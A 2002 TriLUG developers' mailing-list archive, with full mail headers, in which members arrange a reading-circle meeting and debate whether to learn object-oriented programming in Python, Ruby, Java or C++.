List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Mike Mueller wrote: > Is 3/9 reading circle still on? Anybody done the reading yet? I can still > get it done and attend if anybody else is interested. Hi Mike, I plan on being there. --Matthew From brent@mutt.rcfile.org Thu Mar 7 22:50:07 2002 Received: from Mail6.nc.rr.com (fe6.southeast.rr.com [24.93.67.53]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id WAA31603 for ; Thu, 7 Mar 2002 22:50:07 -0500 Received: from mutt.rcfile.org ([66.57.26.120]) by Mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Thu, 7 Mar 2002 22:52:01 -0500 Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g283q9v86105 for dev@trilug.org; Thu, 7 Mar 2002 22:52:09 -0500 (EST) (envelope-from brent) Date: Thu, 7 Mar 2002 22:52:09 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] 3/9 Reading Circle Message-ID: <20020308035209.GA85422@rcfile.org> References: <05f001c1c62e$0aca2620$487ba8c0@vz.dsl.genuity.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <05f001c1c62e$0aca2620$487ba8c0@vz.dsl.genuity.net> User-Agent: Mutt/1.3.27i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #18: Mon Mar 4 01:55:40 EST 2002 root@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-03-07 18:15] Matthew Todd said: | Mike Mueller wrote: | > Is 3/9 reading circle still on? Anybody done the reading yet? I can still | > get it done and attend if anybody else is interested. | | | Hi Mike, I plan on being there. --Matthew same here. same place? same time? b -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From justin@eCotton.com Thu Mar 7 22:51:23 2002 Received: from ecotton.com ([204.118.220.90]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id WAA31627 for ; Thu, 7 Mar 2002 22:51:23 -0500 Received: from JUSTIN [66.26.243.100] by ecotton.com with ESMTP (SMTPD32-7.04) id A4E57AD00A8; Thu, 07 Mar 2002 22:49:57 -0500 From: "Justin Johnson" To: Subject: RE: [Dev] 3/9 Reading Circle Date: Thu, 7 Mar 2002 22:53:23 -0500 Message-ID: <000201c1c654$cc686230$7201a8c0@JUSTIN> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > Is 3/9 reading circle still on? Anybody done the reading > yet? I can still > get it done and attend if anybody else is interested. I'll be there as well. Still got some ground to cover before then though. ;-) Still at 1:00, off Hillsboro St? Justin From bhu5nji@yahoo.com Thu Mar 7 22:59:04 2002 Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id WAA31678 for ; Thu, 7 Mar 2002 22:59:04 -0500 Received: from user-uivf3fg.dsl.mindspring.com ([165.247.141.240] helo=there) by mclean.mail.mindspring.net with smtp (Exim 3.33 #1) id 16jBZ2-0005tJ-00 for dev@trilug.org; Thu, 07 Mar 2002 23:01:04 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Subject: Re: [Dev] 3/9 Reading Circle Date: Thu, 7 Mar 2002 22:56:19 -0500 X-Mailer: KMail [version 1.3.1] References: <05f001c1c62e$0aca2620$487ba8c0@vz.dsl.genuity.net> <20020308035209.GA85422@rcfile.org> In-Reply-To: <20020308035209.GA85422@rcfile.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Thursday 07 March 2002 10:52 pm, you wrote: > [2002-03-07 18:15] Matthew Todd said: > | Mike Mueller wrote: > | > Is 3/9 reading circle still on? Anybody done the reading yet? I can > | > still get it done and attend if anybody else is interested. > | > | Hi Mike, I plan on being there. --Matthew > > same here. > > same place? if (placeAvailable != -1) > same time? 1 > > b -- Mike M. From brent@mutt.rcfile.org Thu Mar 7 23:47:49 2002 Received: from mail8.nc.rr.com (fe8.southeast.rr.com [24.93.67.55]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id XAA32002 for ; Thu, 7 Mar 2002 23:47:49 -0500 Received: from mutt.rcfile.org ([66.57.26.120]) by mail8.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Thu, 7 Mar 2002 23:49:44 -0500 Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g284nrq86393 for dev@trilug.org; Thu, 7 Mar 2002 23:49:53 -0500 (EST) (envelope-from brent) Date: Thu, 7 Mar 2002 23:49:53 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] 3/9 Reading Circle Message-ID: <20020308044953.GB85422@rcfile.org> References: <05f001c1c62e$0aca2620$487ba8c0@vz.dsl.genuity.net> <20020308035209.GA85422@rcfile.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #18: Mon Mar 4 01:55:40 EST 2002 root@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-03-07 22:56] M. Mueller (bhu5nji) said: | On Thursday 07 March 2002 10:52 pm, you wrote: | > [2002-03-07 18:15] Matthew Todd said: | > | Mike Mueller wrote: | > | > Is 3/9 reading circle still on? Anybody done the reading yet? I can | > | > still get it done and attend if anybody else is interested. | > | | > | Hi Mike, I plan on being there. --Matthew | > | > same here. | > | > same place? | if (placeAvailable != -1) The conference room is available, but rumor has it that the weather might be really nice Saturday :-) b | > same time? | 1 | > | > b | | -- | Mike M. | _______________________________________________ | Dev mailing list | Dev@trilug.org | http://www.trilug.org/mailman/listinfo/dev -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From bhu5nji@yahoo.com Fri Mar 8 00:05:07 2002 Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id AAA32139 for ; Fri, 8 Mar 2002 00:05:07 -0500 Received: from user-uivf3fg.dsl.mindspring.com ([165.247.141.240] helo=there) by tisch.mail.mindspring.net with smtp (Exim 3.33 #1) id 16jCax-0002lW-00 for dev@trilug.org; Fri, 08 Mar 2002 00:07:07 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Subject: Re: [Dev] 3/9 Reading Circle Date: Fri, 8 Mar 2002 00:02:22 -0500 X-Mailer: KMail [version 1.3.1] References: <20020308044953.GB85422@rcfile.org> In-Reply-To: <20020308044953.GB85422@rcfile.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Thursday 07 March 2002 11:49 pm, you wrote: > The conference room is available, but rumor has it that the weather > might be really nice Saturday :-) Oooooh. Good idea. I'll see if I can make it happen and send results 3/8 early PM. mjm From johndavi@us.ibm.com Fri Mar 8 08:35:35 2002 Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id IAA02156 for ; Fri, 8 Mar 2002 08:35:35 -0500 Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.us.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id HAA119376 for ; Fri, 8 Mar 2002 07:32:03 -0600 Received: from d04nms11.raleigh.ibm.com (d04nms11.raleigh.ibm.com [9.27.5.140]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/VER6.00) with ESMTP id g28DbOE119700 for ; Fri, 8 Mar 2002 08:37:25 -0500 Importance: Normal Sensitivity: Subject: Re: [Dev] 3/9 Reading Circle To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: "John F Davis" Date: Fri, 8 Mar 2002 08:37:23 -0500 X-MIMETrack: Serialize by Router on D04NMS11/04/M/IBM(Release 5.0.9a |January 7, 2002) at 03/08/2002 08:37:24 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Folks, I am going on a motorcycle ride with the tarheelbmw.org group saturday and I will not be able to go. If you want to talk about the book online, I'm up for that. JD "M. Mueller (bhu5nji)" @trilug.org on 03/07/2002 06:02:18 PM Please respond to dev@trilug.org Sent by: dev-admin@trilug.org To: dev@trilug.org cc: Subject: [Dev] 3/9 Reading Circle Is 3/9 reading circle still on? Anybody done the reading yet? I can still get it done and attend if anybody else is interested. -- Mike M. Support TriLUG. Reply directly for details on how to send a check. No amount is too small. Subscribe to all the TriLUG lists at http://trilug.org/mailman/listinfo _______________________________________________ Dev mailing list Dev@trilug.org http://www.trilug.org/mailman/listinfo/dev From prhodes@vdsinc.com Fri Mar 8 10:34:20 2002 Received: from smarthost.mailzone.edeltacom.com ([216.154.203.116]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id KAA02768 for ; Fri, 8 Mar 2002 10:34:20 -0500 From: prhodes@vdsinc.com Received: from ([207.230.65.80]) by smarthost.mailzone.edeltacom.co with ESMTP ; Fri, 08 Mar 2002 10:32:37 -0500 (EST) Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id AHO90221; Fri, 8 Mar 2002 10:32:36 -0500 (EST) Subject: Re: [Dev] 3/9 Reading Circle To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Fri, 8 Mar 2002 10:38:38 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 03/08/2002 10:38:40 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > Is 3/9 reading circle still on? I'll be there if anybody else is.... > Anybody done the reading yet? I can still > get it done and attend if anybody else is interested. I still have some ground to cover, but... basically, yeah... TTYL, Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com America is at war with Afghanistan. America has always been at war with Afghanistan. Russia is our ally. Russia has always been our ally. Read Orwell's 1984. Read a newspaper. Fear the future. The history of liberty is a history of resistance. The history of liberty is a history of limitations of governmental power, not the increase of it. - Woodrow Wilson Speech in New York, September 9, 1912 Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin From bhu5nji@yahoo.com Fri Mar 8 17:13:05 2002 Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id RAA04943 for ; Fri, 8 Mar 2002 17:13:05 -0500 Received: from user-uivf3fg.dsl.mindspring.com ([165.247.141.240] helo=there) by smtp6.mindspring.com with smtp (Exim 3.33 #1) id 16jSdk-0007so-00 for dev@trilug.org; Fri, 08 Mar 2002 17:15:04 -0500 Content-Type: text/plain; charset="iso-8859-15" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Date: Fri, 8 Mar 2002 17:10:13 -0500 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] Reading circle Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: The outdoor facility is available. 3/9 1p-3p. Please send a request for driving directions. I'll respond privatley later this evening. -- Mike M. From prhodes@vdsinc.com Fri Mar 8 18:29:51 2002 Received: from smarthost.mailzone.edeltacom.com ([216.154.203.116]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id SAA05361 for ; Fri, 8 Mar 2002 18:29:51 -0500 From: prhodes@vdsinc.com Received: from ([207.230.65.80]) by smarthost.mailzone.edeltacom.co with ESMTP ; Fri, 08 Mar 2002 18:31:41 -0500 (EST) Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id AHP69139; Fri, 8 Mar 2002 18:31:39 -0500 (EST) Subject: Re: [Dev] Reading circle To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Fri, 8 Mar 2002 18:37:41 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 03/08/2002 06:37:44 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > The outdoor facility is available. 3/9 1p-3p. Please send a request for > driving directions. I'll respond privatley later this evening. Are we going to Mike's place then? Or Brent's office?? I'm Ok with either... just let me know what the rest of you guys are planning, so I don't show up at the wrong place! Mike, if you don't mind, could you send me the driving directions, to my other e-mail address, mindcrime@cpphacker.co.uk? Thanks, Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com America is at war with Afghanistan. America has always been at war with Afghanistan. Russia is our ally. Russia has always been our ally. Read Orwell's 1984. Read a newspaper. Fear the future. The history of liberty is a history of resistance. The history of liberty is a history of limitations of governmental power, not the increase of it. - Woodrow Wilson Speech in New York, September 9, 1912 Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin From brent@mutt.rcfile.org Fri Mar 8 19:03:47 2002 Received: from mail4.nc.rr.com (fe4.southeast.rr.com [24.93.67.51]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id TAA05569 for ; Fri, 8 Mar 2002 19:03:47 -0500 Received: from mutt.rcfile.org ([66.57.26.120]) by mail4.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 8 Mar 2002 19:06:14 -0500 Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g2905r192538 for dev@trilug.org; Fri, 8 Mar 2002 19:05:53 -0500 (EST) (envelope-from brent) Date: Fri, 8 Mar 2002 19:05:53 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] Reading circle Message-ID: <20020309000552.GA92451@rcfile.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #18: Mon Mar 4 01:55:40 EST 2002 root@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-03-08 17:10] M. Mueller (bhu5nji) said: | The outdoor facility is available. 3/9 1p-3p. Please send a request for | driving directions. I'll respond privatley later this evening. Good. A work crew just moved into the conference room this afternoon; looks like they are doing some rewiring. Please send directions my way :-) thanks. brent -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From billvinson@nc.rr.com Fri Mar 8 22:41:41 2002 Received: from Mail6.nc.rr.com (fe6.southeast.rr.com [24.93.67.53]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id WAA06493 for ; Fri, 8 Mar 2002 22:41:41 -0500 Received: from localhost ([66.26.236.160]) by Mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 8 Mar 2002 22:43:40 -0500 Date: Fri, 8 Mar 2002 22:43:39 -0500 Subject: Re: [Dev] Reading circle Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v481) From: Bill Vinson To: dev@trilug.org Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: X-Mailer: Apple Mail (2.481) Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: I'm not sure what I will do tomorrow. I am hoping to come, but the further I got into the reading the more I realized how lacking my object-oriented knowledge is. I think this may be a little over my head to the point that I can't keep up just b/c I don't code anything oo really yet. Could you send me directions and I will keep reading...Maybe by tomorrow I will feel better :) I believe it isn't the complexity of the book, which isn't that bad, but more I am having a tough time thinking in an oo way. Might be better for me to spend my time on getting up to speed with C++ and join the group with the next book... Bill On Friday, March 8, 2002, at 05:10 PM, M. Mueller (bhu5nji) wrote: > The outdoor facility is available. 3/9 1p-3p. Please send a request for > driving directions. I'll respond privatley later this evening. From brent@mutt.rcfile.org Fri Mar 8 23:51:44 2002 Received: from mail8.nc.rr.com (fe8.southeast.rr.com [24.93.67.55]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id XAA06763 for ; Fri, 8 Mar 2002 23:51:44 -0500 Received: from mutt.rcfile.org ([66.57.26.120]) by mail8.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 8 Mar 2002 23:53:37 -0500 Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g294rkd93726 for dev@trilug.org; Fri, 8 Mar 2002 23:53:46 -0500 (EST) (envelope-from brent) Date: Fri, 8 Mar 2002 23:53:46 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] Reading circle Message-ID: <20020309045346.GA93678@rcfile.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #18: Mon Mar 4 01:55:40 EST 2002 root@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-03-08 22:43] Bill Vinson said: | I'm not sure what I will do tomorrow. I am hoping to come, but the | further I got into the reading the more I realized how lacking my | object-oriented knowledge is. I think this may be a little over my head | to the point that I can't keep up just b/c I don't code anything oo | really yet. Could you send me directions and I will keep | reading...Maybe by tomorrow I will feel better :) I believe it isn't | the complexity of the book, which isn't that bad, but more I am having a | tough time thinking in an oo way. Might be better for me to spend my | time on getting up to speed with C++ and join the group with the next | book... try python or ruby for quick OO learning, or even java. c++ is a bad language for someone to learn OO with, IMO. yes, other languages lack various/some OO features, but ISTM that this lack of feature would be better to learn with than all the shotguns-at-feet features in c++. my .02, b PS -- come on out. I haven't had time to (re)-read chapter(s), and I'm sure I'll be lost on the details of the chapter. -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From bhu5nji@yahoo.com Sat Mar 9 08:14:27 2002 Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id IAA09123 for ; Sat, 9 Mar 2002 08:14:27 -0500 Received: from user-uivf3fg.dsl.mindspring.com ([165.247.141.240] helo=there) by smtp10.atl.mindspring.net with smtp (Exim 3.33 #1) id 16jgi2-0007Dz-00 for dev@trilug.org; Sat, 09 Mar 2002 08:16:26 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Subject: Re: [Dev] Reading circle Date: Sat, 9 Mar 2002 08:11:32 -0500 X-Mailer: KMail [version 1.3.1] References: <20020309045346.GA93678@rcfile.org> In-Reply-To: <20020309045346.GA93678@rcfile.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Friday 08 March 2002 11:53 pm, you wrote: > [2002-03-08 22:43] Bill Vinson said: > | I'm not sure what I will do tomorrow. I am hoping to come, but the > | further I got into the reading the more I realized how lacking my > | object-oriented knowledge is. I think this may be a little over my head > | to the point that I can't keep up just b/c I don't code anything oo > | really yet. Could you send me directions and I will keep > | reading...Maybe by tomorrow I will feel better :) I believe it isn't > | the complexity of the book, which isn't that bad, but more I am having a > | tough time thinking in an oo way. Might be better for me to spend my > | time on getting up to speed with C++ and join the group with the next > | book... > > try python or ruby for quick OO learning, or even java. c++ is a bad > language for someone to learn OO with, IMO. yes, other languages > lack various/some OO features, but ISTM that this lack of feature > would be better to learn with than all the shotguns-at-feet features > in c++. > I was amazed at how simple python was. www.python.org is good resource. > my .02, > b > > PS -- come on out. I haven't had time to (re)-read chapter(s), and I'm > sure I'll be lost on the details of the chapter. -- Mike M. Support TriLUG. Reply directly for details on how to send a check. No amount is too small. Subscribe to all the TriLUG lists at http://trilug.org/mailman/listinfo From tbryan@python.net Sat Mar 9 10:42:03 2002 Received: from mail7.nc.rr.com (fe7.southeast.rr.com [24.93.67.54]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id KAA09704 for ; Sat, 9 Mar 2002 10:42:03 -0500 Received: from there ([66.26.93.115]) by mail7.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Sat, 9 Mar 2002 10:44:02 -0500 Content-Type: text/plain; charset="iso-8859-1" From: Tom Bryan To: dev@trilug.org Subject: Re: [Dev] Reading circle Date: Sat, 9 Mar 2002 11:52:37 +0500 X-Mailer: KMail [version 1.3.1] References: <20020309045346.GA93678@rcfile.org> In-Reply-To: <20020309045346.GA93678@rcfile.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-ID: <07ba00244150932FE7@mail7.nc.rr.com> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Saturday 09 March 2002 09:53 am, Brent Verner wrote: > | reading...Maybe by tomorrow I will feel better :) I believe it isn't > | the complexity of the book, which isn't that bad, but more I am having a > | tough time thinking in an oo way. Might be better for me to spend my > | time on getting up to speed with C++ and join the group with the next > | book... > > try python or ruby for quick OO learning, or even java. +1 After struggling with C++ initially, I read some about Java (_Thinking_in_Java_) and Python (_Programming_Python_). Then I coding in Python. After a few months, I realized that I had really shifted too an OO view of programming. Writing flat Perl scripts became really hard because I kept thinking, "Wow. I'd really like to turn this into a class." Looking at how Perl supported OO kept me using Python. ;-) Basically, there *is* a lot of extra baggage that C++ carries from C. To write a decent class in C++, you really need to understand C++ *and* read and memorize Myers's _Effective_C++_. Languages like Java, Ruby, and Python seem to be much more trimmed down and direct. Writing OO programs in these languages is easy. (Of course, polymorphism loses some of its meaning in a languages with non-typed variables.) I highly recommend starting OO with something like Python or Ruby and then coming back to C++. I think that, despite the detour into another language, it'll be your quickest route at coming up to speed with OO in C++. ---Tom P.S. And I still haven't complained that to get any sort of generic container in C++, you'll also need to understand templates. Not a bad thing, but just one more hurdle to cross before you can effectively write OO in C++. From lovelace@wayfarer.org Sat Mar 9 18:15:10 2002 Received: from maddux.wayfarer.org (wayfarer.org [4.18.171.141]) by fatalpha.trilug.org (8.9.3/8.9.3) with SMTP id SAA11687 for ; Sat, 9 Mar 2002 18:15:09 -0500 Received: (qmail 9156 invoked by uid 401); 9 Mar 2002 23:18:35 -0000 Received: from localhost (HELO tigger.house.wayfarer.org) (lovelace@127.0.0.1) by localhost with SMTP; 9 Mar 2002 23:18:35 -0000 Subject: Re: [Dev] Reading circle From: Tanner Lovelace To: dev@trilug.org In-Reply-To: <07ba00244150932FE7@mail7.nc.rr.com> References: <20020309045346.GA93678@rcfile.org> <07ba00244150932FE7@mail7.nc.rr.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-dLSW85Vv9BElUF3GAb+b" X-Mailer: Evolution/1.0.21mdk Date: 09 Mar 2002 18:16:07 -0500 Message-Id: <1015715768.14215.320.camel@tigger.house.wayfarer.org> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-dLSW85Vv9BElUF3GAb+b Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Sat, 2002-03-09 at 01:52, Tom Bryan wrote: > P.S. And I still haven't complained that to get any sort of generic conta= iner=20 > in C++, you'll also need to understand templates. Not a bad thing, but j= ust=20 > one more hurdle to cross before you can effectively write OO in C++. And it's a good thing you didn't complain about it, because generics are not OO. =20 That C++ is hard to learn is a common misconception. The main=20 problem is that those teaching it tend to treat it as C with classes when it should be thought of as a separate, distinct entity. Take for example, a comment by Bjarne Stoustrup: (found at http://slashdot.org/interviews/00/02/25/1034222.shtml) I think the main problem is educational. Many simply have seriously inaccurate ideas of what C++ is and what can be=20 done with it. Often "inaccurate ideas" add up to a strong disincentive to learn. Also take a look at a paper called "Learning Standard C++ as=20 a New Language." (also by Stroustrup and found at http://www.research.att.com/~bs/new_learning.pdf ) This paper gives detailed examples of why C++ shouldn't be taught as a superset of C. C++ is pretty much unlike any language out there. It's not a pure object oriented langauge. It's not a procedural language like C. It's not a functional language like lisp or ML. It *does*, however, have aspects from all of these languages. There's actually a book that talks a lot about this. It's called "Multi-Paradigm Design for C++" http://www1.fatbrain.com/asp/bookinfo/bookinfo.asp?theisbn=3D0201824671&vm= =3Dc From the summary: C++ is a programming language that supports multiple paradigms: classes, overloaded functions, templates, modules, procedural programming, and more. Despite the language's flexibility and richness, however, there has previously been little effort to create a design method that supports the use of multiple paradigms within a single application. I might suggest this as a follow on book for the reading circle, but feel free to ignore my suggestions, since I probably can't come... The point is, however, that C++ is a fairly misunderstood language. It supports more than just OO and to use it effectively you really should learn it on its own merits, not as a superset of C, or as an OO language, but as C++. C++ is a powerful language, much more so than any other language out there right now. Unfortunately, most people don't understand it well enough to make good use of it. In my opinion, that's not necessarily a problem with the language but rather a problem with education. Tanner --=20 Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint =3D A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- Those who are willing to 